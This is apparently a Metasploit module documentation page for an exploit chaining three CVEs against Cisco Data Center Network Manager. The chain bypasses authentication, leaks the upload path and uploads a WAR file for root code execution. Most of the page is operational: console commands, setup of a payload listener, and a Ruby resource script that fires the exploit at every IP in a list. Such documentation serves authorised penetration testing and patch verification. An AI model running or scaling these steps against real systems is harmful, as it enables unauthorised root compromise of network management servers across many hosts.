List of CVEs: CVE-2019-1619, CVE-2019-1620, CVE-2019-1622
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps directory and achieve remote code execution as root. This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct directory for the WAR file upload. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using cisco_dcnm_upload_2019 against a single host
Normally, you can use exploit/multi/http/cisco_dcnm_upload_2019 this way:
msf > use exploit/multi/http/cisco_dcnm_upload_2019
msf exploit(cisco_dcnm_upload_2019) > show targets
... a list of targets ...
msf exploit(cisco_dcnm_upload_2019) > set TARGET target-id
msf exploit(cisco_dcnm_upload_2019) > show options
... show and set options ...
msf exploit(cisco_dcnm_upload_2019) > exploit
Using cisco_dcnm_upload_2019 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your cisco_dcnm_upload_2019 will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/cisco_dcnm_upload_2019")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Vulnerable Application
Cisco Data Center Network Manager exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps directory and achieve remote code execution as root.
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct directory for the WAR file upload.
The module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).
